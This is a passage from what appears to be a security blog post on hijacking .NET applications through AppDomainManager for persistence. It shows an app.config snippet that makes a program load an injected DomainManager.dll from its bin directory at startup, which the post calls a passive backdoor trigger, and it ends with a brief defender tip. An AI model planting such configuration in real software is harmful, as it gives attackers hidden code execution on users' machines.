?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>    \u003Cstartup> \u003Cbr>        \u003Csupportedruntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5\">\u003Cbr>    \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>    \u003Cruntime>\u003Cbr>      \u003Cappdomainmanagertype value=\"DomainManager.InjectedDomainManager\">\u003Cbr>      \u003Cappdomainmanagerassembly value=\"DomainManager\">\u003Cbr>    \u003C\u002Fappdomainmanagerassembly>\u003C\u002Fappdomainmanagertype>\u003C\u002Fruntime>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After compiling the program, the config file in the bin directory is also modified, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015608148_7_26713841bd-1.jpeg\">\u003C\u002Fp>\u003Cp>If DomainManager.dll is also placed in the bin directory, it will be hijacked when the program starts, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015610638_8_43973ac933-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces a passive backdoor triggering mechanism implemented by modifying AppDomainManager, analyzes the exploitation approach. From a defender's perspective, it is only necessary to pay attention to the config files in the same directory as .Net programs.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",337,"Onedaysec",5,"published","2026-02-02T07:25:19.985Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Hijack .Net Apps via AppDomainManager for Persistence","AppDomainManager, .Net persistence, CLR hijacking, powershell backdoor, .Net security",null,false,[],{"docs":43,"hasNextPage":40},[44,45,4,46,47],1056,1055,1053,1052,{"title":39,"description":39,"image":39},"2026-07-24T15:37:09.964Z","2026-07-23T16:02:28.774Z","draft","2026-07-23T16:16:22.432Z"]